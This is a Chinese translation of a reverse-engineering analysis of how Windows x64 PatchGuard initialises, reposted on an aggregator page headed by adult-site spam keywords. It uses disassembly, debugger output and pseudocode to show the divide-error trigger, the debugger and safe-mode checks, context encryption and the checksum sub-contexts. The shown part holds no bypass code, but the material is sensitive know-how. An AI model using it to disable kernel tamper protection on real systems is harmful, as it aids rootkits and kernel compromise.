日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > windows >内容正文

windows

Bypassing PatchGuard on Windows x64

發(fā)布時(shí)間:2023/12/15 windows 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Bypassing PatchGuard on Windows x64 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
【說明】
1.??本文是意譯,加之本人英文水平有限、windows底層技術(shù)屬菜鳥級(jí)別,本文與原文存在一定誤差,請(qǐng)多包涵。
2.??由于內(nèi)容較多,從word拷貝過來排版就亂了。故你也可以下載附件。
3.??如有不明白的地方,各位雪友可通過附件中的聯(lián)系方式聯(lián)系我,同時(shí)建議各位參照原文閱讀......

【64位windows系統(tǒng)的PatchGuard】

原文:Bypassing PatchGuard on Windows x64.pdf

關(guān)于windows x64上的PatchGuard是干什么用的,我就不賣弄了。^. ^。PG的初始化代碼作為nt!KeInitSystem的一部分,早在系統(tǒng)啟動(dòng)過程中就執(zhí)行了。

3.1.? ? ? ? 初始化PG Context
PG初始化的Entry point是KiDivide6432(),而事實(shí)上,這個(gè)函數(shù)根本沒有做任何防止打補(bǔ)丁的保護(hù)(anti-patch protections)。其就完成了一個(gè)除法操作:
ULONG KiDivide6432 (
IN ULONG64 Dividend,
IN ULONG Divisor)
{
return (Dividend / Divisor );
}
這個(gè)函數(shù)看似沒用,其實(shí)是隱藏了其真實(shí)意圖!這個(gè)函數(shù)的被除數(shù)是nt!KiTestDividend(0x014b5fa3a053724c),除數(shù)是0xcb5fa3(專業(yè)術(shù)語是硬編碼,通俗講就是一個(gè)常量)。這個(gè)函數(shù)執(zhí)行后,如果返回的商與常量0x5ee0b7e5不相等, nt!KeInitSystem()就會(huì)BSoD系統(tǒng),bug check是0x5d(UNSUPPORTED_PROCESSOR),但事實(shí)上,系統(tǒng)并沒有BSoD(好戲在后頭^.^)。
這里的原理類似在病毒中常用的一個(gè)很巧妙的方法,就是故意觸發(fā)異常,然后引導(dǎo)自己的代碼執(zhí)行。AMD64指令手冊(cè)中說,如果執(zhí)行div指令后的商溢出(商的大小為4個(gè)字節(jié)),就會(huì)產(chǎn)生一個(gè)除法錯(cuò)誤。除法錯(cuò)誤就會(huì)導(dǎo)致一個(gè)硬件異常,在內(nèi)核中處理處理這個(gè)硬件異常,會(huì)間接初始化PG子系統(tǒng)。但是,微軟為什么要怎么做呢?繼續(xù)往下看。
有意思的是全局變量nt!KiTestDividend與另一個(gè)全局變量nt!KdDebuggerNotPresent有密切聯(lián)系。即nt!KiTestDividend的最高字節(jié)取值即為nt!KdDebuggerNotPresent值。(藍(lán)色部分)
lkd> dq nt!KiTestDividend L1
fffff800‘011766e0 014b5fa3‘a(chǎn)053724c
lkd> db nt!KdDebuggerNotPresent L1
fffff800‘011766e7 01
當(dāng)然,如果系統(tǒng)設(shè)置了調(diào)試器,則KdDebuggerNotPresent為0,相應(yīng)地,KiTestDividend為0x004b5fa3a053724c,這樣得到的商就剛好是0x5ee0b7e5(0x004b5fa3a053724c÷0xcb5fa3 = 0x5ee0b7e5)(0x014b5fa3a053724c ÷0xcb5fa3 = 0x1A11F49AE 商溢出)。默認(rèn)為1。這就意味著,如果在間接初始化PG子系統(tǒng)前,系統(tǒng)掛了一個(gè)調(diào)試器,則PG子系統(tǒng)不會(huì)被初始化,因?yàn)檫@個(gè)除法錯(cuò)誤被調(diào)試器捕獲了,PG也就不起作用了。當(dāng)然,如果在PG子系統(tǒng)初始化后,再掛上調(diào)試器,設(shè)置斷點(diǎn)等操作就會(huì)BSoD了?。
理解了KiTestDividend,下一步就是了解微軟如何通過這個(gè)除法錯(cuò)誤來引導(dǎo)執(zhí)行PG子系統(tǒng)的初始化操作。這就需要從如下函數(shù)入手了:nt!KiDivideErrorFault()。注意,所有的除法錯(cuò)誤的處理都會(huì)經(jīng)過這個(gè)函數(shù)。
KiDivideErrorFault()函數(shù)經(jīng)過一系列的處理后,最終會(huì)調(diào)用nt!KiOp_Div()函數(shù)來處理這個(gè)除法錯(cuò)誤。KiOp_Div()函數(shù)貌似會(huì)處理各種各樣的除法錯(cuò)誤,如除數(shù)為0。相應(yīng)的調(diào)用堆棧如下:
kd> k
Child-SP RetAddr Call Site
fffffadf‘e4a15f90 fffff800‘010144d4 nt!KiOp_Div+0x29
fffffadf‘e4a15fe0 fffff800‘01058d75 nt!KiPreprocessFault+0xc7
fffffadf‘e4a16080 fffff800‘0104172f nt!KiDispatchException+0x85
fffffadf‘e4a16680 fffff800‘0103f5b7 nt!KiExceptionExit
fffffadf‘e4a16800 fffff800‘0142132b nt!KiDivideErrorFault+0xb7
fffffadf‘e4a16998 fffff800‘014212d3 nt!KiDivide6432+0xb
fffffadf‘e4a169a0 fffff800‘0142a226 nt!KeInitSystem+0x169
fffffadf‘e4a16a50 fffff800‘01243e09 nt!Phase1InitializationDiscard+0x93e
fffffadf‘e4a16d40 fffff800‘012b226e nt!Phase1Initialization+0x9
fffffadf‘e4a16d70 fffff800‘01044416 nt!PspSystemThreadStartup+0x3e
fffffadf‘e4a16dd0 00000000‘00000000 nt!KxStartSystemThread+0x16
KiOp_Div()函數(shù)在具體處理某個(gè)除法錯(cuò)誤前,會(huì)首先調(diào)用nt!KiFilterFiberContext()函數(shù)。這個(gè)函數(shù)的反匯編代碼如下:
nt!KiFilterFiberContext:
fffff800‘01003ac2 53 push rbx
fffff800‘01003ac3 4883ec20 sub rsp,0x20
fffff800‘01003ac7 488d0552d84100 lea rax,[nt!KiDivide6432]
fffff800‘01003ace 488bd9 mov rbx,rcx
fffff800‘01003ad1 4883c00b add rax,0xb
fffff800‘01003ad5 483981f8000000 cmp [rcx+0xf8],rax
fffff800‘01003adc 0f855d380c00 jne nt!KiFilterFiberContext+0x1d
fffff800‘01003ae2 e899fa4100 call nt!KiDivide6432+0x570
從這段代碼可看成,其是在判斷除法錯(cuò)誤發(fā)生的地址是否就是nt!KiDivide6432 + 0xb。反匯編一下,我們就能看到:
nt!KiDivide6432+0xb:
fffff800‘0142132b 41f7f0 div r8d
如果除法錯(cuò)誤就發(fā)生在KiDivide6432 + 0xb的地方,則在KiDivide6432+0x570的地方就會(huì)引用一個(gè)未命名的符號(hào)(常量:0x2d8)。這個(gè)值確定了nt!KiInitializePatchGuard()函數(shù)是否回被執(zhí)行,也正是這個(gè)函數(shù)完成了PG子系統(tǒng)的安裝。
KiInitializePatchGuard()函數(shù)本身比較龐大,其初始化了一些contexts,這些contexts將用來監(jiān)控特定的系統(tǒng)鏡像(certain system images)、SSDT、processor GDT/IDT、特定的關(guān)鍵的MSRs(certain critical MSRs)以及一些與調(diào)試相關(guān)的例程。KiInitializePatchGuard()執(zhí)行前,KiDivide6432還要做的一件事就是判斷當(dāng)前系統(tǒng)是否是以安全模式啟動(dòng)的,如果是,PG系統(tǒng)也不會(huì)啟動(dòng):
nt!KiDivide6432+0x570:
fffff800‘01423580 4881ecd8020000 sub rsp,0x2d8
fffff800‘01423587 833d22dfd7ff00 cmp dword ptr [nt!InitSafeBootMode],0x0
fffff800‘0142358e 0f8504770000 jne nt!KiDivide6432+0x580
...
nt!KiDivide6432+0x580:
fffff800‘0142ac98 b001 mov al,0x1
fffff800‘0142ac9a 4881c4d8020000 add rsp,0x2d8
fffff800‘0142aca1 c3 ret
如果系統(tǒng)不是以安全模式啟動(dòng)的,則KiInitializePatchGuard()就會(huì)開始初始化PG子系統(tǒng)了:
(1).? ? ? ? 計(jì)算ntoskrnl.exe中的INITKDBG節(jié)的大小
?? ? ? ? 已知nt!FsRtlUninitializeSmallMcb()函數(shù)就在INITKDBG節(jié)中。
?? ? ? ? 將nt!FsRtlUninitializeSmallMcb()函數(shù)的地址傳遞給nt!RtlPcToFileHeader。
?? ? ? ? RtlPcToFileHeader在ntoskrnl.exe中搜索FsRtlUninitializeSmallMcb()后,第二個(gè)輸出參數(shù)返回一個(gè)nt基地址。
?? ? ? ? 將得到的nt基地址傳給nt!RtlImageNtHeader()函數(shù)。這個(gè)函數(shù)返回一個(gè)PIMAGE_NT_HEADERS指針。
?? ? ? ? FsRtlUninitializeSmallMcb()的RVA = FsRtlUninitializeSmallMcb()地址 – nt基地址。
?? ? ? ? 然后將nt基地址、獲得的IMAGE_NT_HEADERS地址、RVA傳遞給nt!RtlSectionTableFromVirtualAddress()函數(shù),從而計(jì)算出INITKDBG節(jié)的基地址。
kd> ? rax ? ? ? ? //別忘了,返回值在rax中
Evaluate expression: -8796076244456 = fffff800‘01000218
kd> dt nt!_IMAGE_SECTION_HEADER fffff800‘01000218
+0x000 Name : [8] "INITKDBG"? ? ? ? //我們要找的節(jié)
+0x008 Misc : <unnamed-tag>
+0x00c VirtualAddress : 0x165000
+0x010 SizeOfRawData : 0x2600
+0x014 PointerToRawData : 0x163a00
+0x018 PointerToRelocations : 0
+0x01c PointerToLinenumbers : 0
+0x020 NumberOfRelocations : 0
+0x022 NumberOfLinenumbers : 0
+0x024 Characteristics : 0x68000020
做這個(gè)操作的目的是為了迷惑并隱藏PG將執(zhí)行的代碼。INITKDBG節(jié)中的代碼會(huì)被拷貝到一個(gè)已分配好的保護(hù)上下文(allocated protection context)中。在驗(yàn)證階段,會(huì)利用這個(gè)context。

(2).? ? ? ? 定位PoolTagArray
收集完INITKDBG鏡像節(jié)的信息后,KiInitializePatchGuard()函數(shù)執(zhí)行了一個(gè)偽隨機(jī)數(shù)產(chǎn)生器(pseudo-random number generations),主要是防破解!這里是第一次,后面還有很多。這個(gè)偽隨機(jī)數(shù)產(chǎn)生器的代碼與下類似:
fffff800‘0142362d 0f31 rdtsc??//得到CPU自啟動(dòng)以后的運(yùn)行周期
fffff800‘0142362f 488bac24d8020000 mov rbp,[rsp+0x2d8]
fffff800‘01423637 48c1e220 shl rdx,0x20
fffff800‘0142363b 49bf0120000480001070 mov r15,0x7010008004002001
fffff800‘01423645 480bc2 or rax,rdx
fffff800‘01423648 488bcd mov rcx,rbp
fffff800‘0142364b 4833c8 xor rcx,rax
fffff800‘0142364e 488d442478 lea rax,[rsp+0x78]
fffff800‘01423653 4833c8 xor rcx,rax
fffff800‘01423656 488bc1 mov rax,rcx
fffff800‘01423659 48c1c803 ror rax,0x3
fffff800‘0142365d 4833c8 xor rcx,rax
fffff800‘01423660 498bc7 mov rax,r15
fffff800‘01423663 48f7e1 mul rcx
fffff800‘01423666 4889442478 mov [rsp+0x78],rax
fffff800‘0142366b 488bca mov rcx,rdx
fffff800‘0142366e 4889942488000000 mov [rsp+0x88],rdx
fffff800‘01423676 4833c8 xor rcx,rax
fffff800‘01423679 48b88fe3388ee3388ee3 mov rax,0xe38e38e38e38e38f
fffff800‘01423683 48f7e1 mul rcx
fffff800‘01423686 48c1ea03 shr rdx,0x3
fffff800‘0142368a 488d04d2 lea rax,[rdx+rdx*8]
fffff800‘0142368e 482bc8 sub rcx,rax
fffff800‘01423691 8bc1 mov eax,ecx
產(chǎn)生的這第一個(gè)隨機(jī)數(shù)用作pool tags數(shù)組的下標(biāo)。這里的pool tags數(shù)組中的tag主要在PG分配內(nèi)存時(shí)使用。關(guān)于如何定位這個(gè)pool tags數(shù)組,以及如何利用這個(gè)隨機(jī)數(shù)索引,請(qǐng)參考以下代碼:
fffff800‘01423693 488d0d66c9bdff lea rcx,[nt]
fffff800‘0142369a 448b848100044300 mov r8d,[rcx+rax*4+0x430400] //rax中就是產(chǎn)生的隨機(jī)數(shù)
于是,PoolTagArray = nt基地址 + 0x430400;RandomPoolTagIndex = eax。注意,每個(gè)tag占4個(gè)字節(jié)。PG所用的tags如下:
lkd> db nt+0x430400
41 63 70 53 46 69 6c 65-49 70 46 49 49 72 70 20 AcpSFileIpFIIrp
4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61 MutaNtFsNtrfSema
54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff TCPc.....;......

(3).? ? ? ? 分配Context
Context = ExAllocatePoolWithTag(
? ?? ?? ???NonPagedPool,
? ?? ?? ???(InitKdbgSection->VirtualSize + 0x1b8) + (RandSize & 0x7ff),
? ?? ?? ???PoolTagArray[RandomPoolTagIndex]
? ?? ???);
這個(gè)Context的結(jié)構(gòu)體稱為PatchGuardContext,其頭部被格式化為:PATCHGUARD_CONTEXT。這個(gè)結(jié)構(gòu)體的前0x48個(gè)字節(jié)是從nt! CmpAppendDllSection()拷貝而來。這個(gè)函數(shù)的名字有一定的誤導(dǎo),其實(shí)質(zhì)是用來在運(yùn)行時(shí)解密PATCHGUARD_CONTEXT結(jié)構(gòu)體的。在將CmpAppendDllSection()函數(shù)拷貝到PATCHGUARD_CONTEXT結(jié)構(gòu)體后,KiInitializePatchGuard()函數(shù)就在PATCHGUARD_CONTEXT結(jié)構(gòu)體中存放了一組函數(shù)地址,如下圖:(注意,64位系統(tǒng)的函數(shù)地址是8個(gè)字節(jié)^.^)

KiInitializePatchGuard()函數(shù)保存好以上函數(shù)指針后,就再產(chǎn)生一個(gè)隨機(jī)數(shù),并從pool tags數(shù)組中獲取對(duì)應(yīng)的pool tag,這一個(gè)tag用于隨后的內(nèi)存分配操作,且保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x188處。到此時(shí)為止,就產(chǎn)生了2個(gè)隨機(jī)數(shù),在后面加密PATCHGUARD_CONTEXT結(jié)構(gòu)體時(shí)就用了這兩個(gè)隨機(jī)數(shù)。一個(gè)用作隨機(jī)循環(huán)位值(保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x18c處),另一個(gè)用作XOR種子(保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x190處)。
(4).? ? ? ? 獲取虛擬地址空間的位數(shù)
主要是調(diào)用cpuid ExtendedAddressSize (0x80000008)擴(kuò)展函數(shù)。所得的值存放在PATCHGUARD_CONTEXT結(jié)構(gòu)體的的偏移為0x1b4處。
(5).? ? ? ? 拷貝INITKDBG節(jié)
在初始化各個(gè)保護(hù)的sub-context(individual protection sub-contexts)前,要做的最后一個(gè)主要操作就是將INITKDBG節(jié)拷貝到PATCHGUARD_CONTEXT結(jié)構(gòu)體中。偽代碼如下:
memmove(
? ???(PCHAR)PatchGuardContext + sizeof(PATCHGUARD_CONTEXT),
? ???NtImageBase + InitKdbgSection->VirtualAddress,
? ???InitKdbgSection->VirtualSize);
注意:sizeof(PATCHGUARD_CONTEXT) =??0x1b8 //后文有注釋
初始化了PG的context的主要部分后,接下來就是出書啊sub-contexts了。Sub-contexts代表了PG要保護(hù)的那些特定的東東。
3.2.? ? ? ? 初始化受保護(hù)的結(jié)構(gòu)體
PG要保護(hù)的那些結(jié)構(gòu)體都有相應(yīng)的sub-context來描述。這些sub-contexts結(jié)構(gòu)體都是以PATCHGUARD_CONTEXT結(jié)構(gòu)體開始的。初始化以下4個(gè)sub-contexts后,PG context(為區(qū)分sub-context,將其稱為parent context)會(huì)被XOR。然后KiInitializePatchGuard()函數(shù)初始化一個(gè)timer并啟動(dòng)之。這個(gè)timer的作用是運(yùn)行驗(yàn)證PG子系統(tǒng)收集到的數(shù)據(jù)的代碼。除了以下結(jié)構(gòu)體外,KiInitializePatchGuard()函數(shù)還分配了一些其它暫時(shí)無法識(shí)別的sub-contexts結(jié)構(gòu)體,尤其是類型為0x4和0x5的結(jié)構(gòu)體。
?? ? ? ? 保護(hù)System images的sub-context的初始化
?? ? ? ? 保護(hù)SSDT的sub-context的初始化
?? ? ? ? 保護(hù)GDT/IDT/MSRs的sub-context的初始化
?? ? ? ? 保護(hù)Debug routines的sub-context的初始化

(1).? ? ? ? 保護(hù)System images的sub-context的初始化
PG要保護(hù)的關(guān)鍵內(nèi)核鏡像(certain key kernel images)有:ntoskrnl.exe、hal.dll、ndis.sys。這些鏡像中的符號(hào)地址會(huì)傳遞給nt!PgCreateImageSubContext()函數(shù):
NTSTATUS PgCreateImageSubContext(
? ?? ?? ?? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ?? ?? ?? ? IN LPVOID SymbolAddress);
對(duì)于ntoskrnl.exe,傳遞的符號(hào)地址是nt!KiFilterFiberContext的地址;對(duì)于hal.dll,傳遞的符號(hào)地址是HalInitializeProcessor的地址;對(duì)于ndis.sys,傳遞的是其入口地址,這個(gè)入口地址是通過調(diào)用nt!GetModuleEntryPoint函數(shù)獲得。PgCreateImageSubContext()函數(shù)保護(hù)這些images所采用的方法是產(chǎn)生可區(qū)分的PG sub-contexts。
第一個(gè)sub-context保存image的sections的checksum(有些例外)。第二個(gè)和第三個(gè)sub-context分別保存image的IAT和Import Directory的checksum。分配這些sub-contexts的所有例程都會(huì)調(diào)用一個(gè)共同的函數(shù)(shared routine。個(gè)人覺得將shared翻譯成“共同的”或“相同的”比“共享的”好^.^),而這個(gè)“共同的”函數(shù)負(fù)責(zé)產(chǎn)生一個(gè)用于保存一段內(nèi)存塊的checksum,主要是使用這個(gè)隨機(jī)的XOR值和保存在parent PG context結(jié)構(gòu)體中的用作隨機(jī)循環(huán)位的那個(gè)隨機(jī)數(shù)(原文是:These routines all make use of a shared routine that is responsible for generating a protection sub-context that holds the checksum for a block of memory using the random XOR key and random rotate bits stored in the parent PatchGuard context structure.)。這個(gè)函數(shù)的定義如下:
typedef struct BLOCK_CHECKSUM_STATE
{
? ?? ?ULONG Unknown;
? ?? ?ULONG64 BaseAddress;
? ?? ?ULONG BlockSize;
? ?? ?ULONG Checksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;

PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
? ?? ?IN PPATCHGUARD_CONTEXT Context,
? ?? ?IN ULONG Unknown,
? ?? ?IN PVOID BlockAddress,
? ?? ?IN ULONG BlockSize,
? ?? ?IN ULONG SubContextSize,
? ?? ?OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);
BLOCK_CHECKSUM_STATE結(jié)構(gòu)體中的Unknown成員值來自nt!PgCreateBlockChecksumSubContext()函數(shù)的Unknown參數(shù),在調(diào)試的時(shí)候,這個(gè)值是0,具體有何用,未知。
PgCreateBlockChecksumSubContext()函數(shù)計(jì)算checksum的算法很簡(jiǎn)單,其偽代碼如下:
ULONG64 Checksum = Context->RandomHashXorSeed;
ULONG Checksum32;
// Checksum 64-bit blocks
while (BlockSize >= sizeof(ULONG64))
{
? ? Checksum ^= *(PULONG64)BaseAddress;
? ? Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
? ? BlockSize -= sizeof(ULONG64);
? ? BaseAddress += sizeof(ULONG64);
}
// Checksum aligned blocks
while (BlockSize-- > 0)
{
? ? Checksum ^= *(PUCHAR)BaseAddress;
? ? Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
? ? BaseAddress++;
}
Checksum32 = (ULONG)Checksum;
Checksum >>= 31;
do
{
? ? Checksum32 ^= (ULONG)Checksum;
? ? Checksum >>= 31;
} while (Checksum);
Checksum32就是最后得到的checksum,其會(huì)保存到BLOCK_CHECKSUM_STATE中。
為了達(dá)到初始化image sections的checksum的目的,nt!PgCreateImageSubContext()函數(shù)會(huì)調(diào)用如下函數(shù):
PPATCHGUARD_SUB_CONTEXT PgCreateImageSectionSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN PVOID SymbolAddress,
? ? IN ULONG SubContextSize,
? ? IN PVOID ImageBase);
PgCreateImageSectionSubContext()函數(shù)首先檢測(cè)nt!KiOpPrefetchPatchCount值是否為0。如果不為0,則創(chuàng)建的塊校驗(yàn)和上下文(block checksum context)就不會(huì)覆蓋image中的所有sections。否則,這個(gè)函數(shù)就會(huì)枚舉image中的所有節(jié),并為每個(gè)節(jié)都計(jì)算一個(gè)checksum,但不包括INIT、PAGEVRFY、PAGESPEC和PAGEKD這些節(jié)。
另外,PgCreateImageSectionSubContext()函數(shù)還會(huì)調(diào)用nt!PgCreateBlockChecksumSubContext()函數(shù)來計(jì)算image的IAT和Import Directory。

(2).? ? ? ? 保護(hù)SSDT的sub-context的初始化
第三方驅(qū)動(dòng)開發(fā)者HOOK得最多的就是SSDT了。Win7 x64系統(tǒng)下SSDT表與Windows XP x86系統(tǒng)下的SSDT表不一樣(因?yàn)槲液芫脹]搞SSDT HOOK了,以前搞過Windows XP x86下的SSDT HOOK,故這里以之作為比較對(duì)象^.^)。
原文中,作者獲取函數(shù)地址的公式是:dwo(nt!KiServiceTable+n)+nt!KiServiceTable(n=0,1,2…)。但在我的系統(tǒng)上用這個(gè)公式測(cè)試,卻不對(duì),應(yīng)該是系統(tǒng)版本問題?。以下是我的公式推導(dǎo)方法:
?? ? ? ? 查看函數(shù)地址,如下:
由于作者得到的是nt!NtMapUserPhysicalPagesScatter()函數(shù),我直接在Windbg中查看該函數(shù)的地址,如下:
kd> u nt!NtMapUserPhysicalPagesScatter l1
nt!NtMapUserPhysicalPagesScatter:
fffff800`040cd190 48895c2408? ?? ?mov? ???qword ptr [rsp+8],rbx //這與原文的488bc4 mov rax,rsp也不一樣?,版本問題?
這里得到的NtMapUserPhysicalPagesScatter()函數(shù)地址為fffff800`040cd190
?? ? ? ? 再看看nt!KiServiceTable的地址,如下:
kd> dd nt!KiServiceTable l4? ? ? ? //用這條命令的原因是作者用了dwo,所以我就順便把KisServiceTable的開始4字節(jié)內(nèi)容顯示出來
fffff800`03cbcb00??04106900 02f6f000 fff72d00 031a0105
nt!KiServiceTable的地址 = fffff800`03cbcb00;offset = dwo(nt!KiServiceTable) = 04106900。
?? ? ? ? KiServiceTable、offset、Address三者的關(guān)系:
fffff800`040cd190 - fffff800`03cbcb00 = 410690(很眼熟??),與04106900是什么關(guān)系我就不多說了。
所以,最后得到的公式為:(dwo(nt!KiServiceTable+n)>>4)+nt!KiServiceTable(n=0,1,2…)。這個(gè)公式與http://bbs.dbgtech.net/forum.php?mod=viewthread&tid=360一樣(看來要多逛論壇了?)。至于為什么要”>>4”,作者的沒有,以上帖子已有說明?……
然后關(guān)于Win7 x64系統(tǒng)下的SSDT表的格式,我就不多說了,相信你已知曉?……
PG在nt!PgCreateBlockChecksumSubContext()函數(shù)中保護(hù)了nt!KiServiceTable和nt!KeServiceDescriptorTable。關(guān)于這個(gè)函數(shù)的調(diào)用方法如下:
PgCreateBlockChecksumSubContext(
? ? ParentContext,
? ? 0,
? ? KeServiceDescriptorTable->DispatchTable, // KiServiceTable
? ? KiServiceLimit * sizeof(ULONG),
? ? 0,
NULL);

PgCreateBlockChecksumSubContext(
? ? ParentContext,
? ? 0,
? ? &KeServiceDescriptorTable,
? ? 0x20,
? ? 0,
? ? NULL);

(3).? ? ? ? 保護(hù)GDT/IDT的sub-context的初始化
GDT是用來描述內(nèi)核所使用的內(nèi)存段(memory segments)的。對(duì)惡意的應(yīng)用程序來說,GDT是有利可圖的,因?yàn)橥ㄟ^修改一些特定的GDT入口就可以讓不具有特權(quán)等級(jí)的(non-privileged)、用戶模式的應(yīng)用程序能夠修改內(nèi)核內(nèi)存。IDT對(duì)惡意的context和合法的context來說都是很有用的。在某些情況下,第三方可能希望在特定的硬件或軟件中斷傳到內(nèi)核前就截獲它們,即hook IDT。
PG保護(hù)GDT/IDT的原理,主要是調(diào)用nt!PgCreateBlockChecksumSubContext()函數(shù)來實(shí)現(xiàn)的,當(dāng)然需傳入各自的context。由于保存GDT和IDT信息的寄存器是與給定的處理器相關(guān)聯(lián)的,那么PG就需要在每個(gè)處理器上為這2個(gè)表創(chuàng)建互不影響的context。要為給定的處理器獲取GDT和IDT的地址,PG首先調(diào)用nt!KeSetAffinityThread()函數(shù),以確保自己運(yùn)行在這個(gè)特定的處理器上。之后,PG調(diào)用nt!KiGetGdtIdt()函數(shù)來獲得GDT和IDT的基地址。這個(gè)函數(shù)的定義如下:
VOID KiGetGdtIdt(
? ? OUT PVOID *Gdt,
? ? OUT PVOID *Idt);
雖然獲取GDT和IDT基地址,是用的一個(gè)函數(shù),但在真正進(jìn)行保護(hù)GDT和IDT時(shí),是在兩個(gè)不同的函數(shù)中進(jìn)行的。它們分別是:nt!PgCreateGdtSubContext() 和 nt!PgCreateIdtSubContext()。定義如下:
PPATCHGUARD_SUB_CONTEXT PgCreateGdtSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);

PPATCHGUARD_SUB_CONTEXT PgCreateIdtSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN UCHAR ProcessorNumber);
這兩個(gè)函數(shù)會(huì)在所有的處理器上被調(diào)用。nt!KeNumberProcessors指示哪個(gè)處理器,它們就在哪個(gè)處理器上調(diào)用。

(4).? ? ? ? 保護(hù)Processor MSRs的sub-context的初始化
最新最棒的處理器已經(jīng)極大地優(yōu)化了用戶模式切換到內(nèi)核模式所使用的方法。在此之前,大多數(shù)的OS,包括Windows,都使用一個(gè)軟中斷來處理系統(tǒng)調(diào)用。新一代的處理器采用命令來進(jìn)行系統(tǒng)調(diào)用,如syscall何sysenter命令。這就可能用到MSR(processor-defined Model-Specific Register)。MSR就包含了即將調(diào)用的內(nèi)核函數(shù)(與用戶態(tài)函數(shù)對(duì)應(yīng))的地址。在x64架構(gòu)上,控制該地址的MSR被稱為L(zhǎng)STAR(Long System Target-Address Register) MSR。與MSR相關(guān)聯(lián)的code是0xc0000082。在系統(tǒng)啟動(dòng)過程中,x64內(nèi)核將MSR初始化為nt!KiSystemCall64()函數(shù)的地址。
微軟為了防止第三方通過改變LSTAR MSR的值,從而hooking系統(tǒng)調(diào)用,PG在PgCreateMsrSubContext()函數(shù)中創(chuàng)建了類型為7(type 7)的sub-context結(jié)構(gòu)體并緩存MSR的值:
PPATCHGUARD_SUB_CONTEXT PgCreateMsrSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN UCHAR Processor);
與GDT/IDT的保護(hù)一樣,LSTAR MSR的值也是與處理器相關(guān)的,需在每個(gè)處理器上都各自保留一份。為確保是從正確的處理器上獲得的MSR值,PG調(diào)用nt!KeSetAffinityThread函數(shù)以確保獲取MSR值的線程是運(yùn)行在相應(yīng)的處理器上。

(5).? ? ? ? 保護(hù)Debug routines的sub-context的初始化
PG創(chuàng)建了一個(gè)特殊的sub-context(type 6)結(jié)構(gòu)體來保護(hù)某些內(nèi)核函數(shù),這些內(nèi)部函數(shù)被內(nèi)核用著調(diào)試目的,如nt!KdpStub()函數(shù)等。當(dāng)發(fā)生異常后,調(diào)試器在允許內(nèi)核分發(fā)這個(gè)異常前,會(huì)先調(diào)用nt!KdpStub()函數(shù)來處理這個(gè)異常。實(shí)際上,這個(gè)函數(shù)是在nt!KiDebugRoutine()函數(shù)中調(diào)用的,nt!KiDebugRoutine()函數(shù)實(shí)質(zhì)又是一個(gè)全局變量,調(diào)用nt!KiDebugRoutine()函數(shù)的是nt!KiDispatchException()。所以,這個(gè)調(diào)用路徑是:nt!KiDispatchException() ? nt!KiDebugRoutine() ? nt!KdpStub()。這些過程都是在如下函數(shù)中完成的:
PPATCHGUARD_SUB_CONTEXT PgCreateDebugRoutineSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext);
這個(gè)sub-context初始化后,其好像包含了nt!KdpStub()、nt!KdpTrap()和nt!KiDebugRoutine()函數(shù)的地址。這個(gè)sub-context的作用好像是為了防止第三方驅(qū)動(dòng)修改nt!KiDebugRoutine()函數(shù)的地址以指向別的地方??赡苓€有其它用處……
3.3.? ? ? ? 保護(hù)PG Contexts自身
創(chuàng)建并初始化好以上contexts后,PG就要保護(hù)這些contexts了。為了增加定位這些PG Contexts的難度,所有的contexts都與一個(gè)隨機(jī)產(chǎn)生的64-bit值進(jìn)行了XOR操作(即加密)。進(jìn)行這個(gè)加密操作的函數(shù)正是nt!PgEncryptContext()。這個(gè)函數(shù)按行XOR提供的context的buffer,并返回這個(gè)XOR值。該函數(shù)的定義如下:
ULONG64 PgEncryptContext(
? ? IN OUT PPATCHGUARD_CONTEXT Context);
nt!KiInitializePatchGuard ()函數(shù)初始化完所有sub-contexts后,下一件事就是加密primary PG context了(parent context)。要完成這個(gè)功能,第一步就是將棧上的context拷貝一份,以便其在被加密后,PG能以純文本的格式(plain-text)引用這個(gè)context。備份context的目的是以后的驗(yàn)證程序在執(zhí)行時(shí)可以加入隊(duì)列中(需要參考context結(jié)構(gòu)體的一些屬性)。做好備份后,就是調(diào)用nt!PgEncryptContext()函數(shù)對(duì)primary PG context進(jìn)行加密了。一旦驗(yàn)證程序被加入到隊(duì)列后,以等候執(zhí)行,context的純文本格式的備份就不再需要了,就會(huì)被清0。偽代碼如下:
PATCHGUARD_CONTEXT LocalCopy;
ULONG64 XorKey;

memmove(
? ? &LocalCopy,
? ? Context,
? ? sizeof(PATCHGUARD_CONTEXT)); // 0x1b8

XorKey = PgEncryptContext(
? ? Context);

... Use LocalCopy for verification routine queuing ...

memset(? ? ? ? //清空備份
? ? &LocalCopy,
? ? 0,
? ? sizeof(LocalCopy));
3.4.? ? ? ? 執(zhí)行PG驗(yàn)證函數(shù)
在初始化所有的sub-contexts后,且在加密primary PG context前,nt!KiInitializePatchGuard ()函數(shù)還做了一個(gè)關(guān)鍵性操作(PG有很多這樣的操作),就是從存儲(chǔ)在primary PG context中,偏移為0x168的一組函數(shù)指針中隨機(jī)選取一個(gè)函數(shù),選中的函數(shù)就會(huì)被間接調(diào)用以處理PG相關(guān)驗(yàn)證操作。
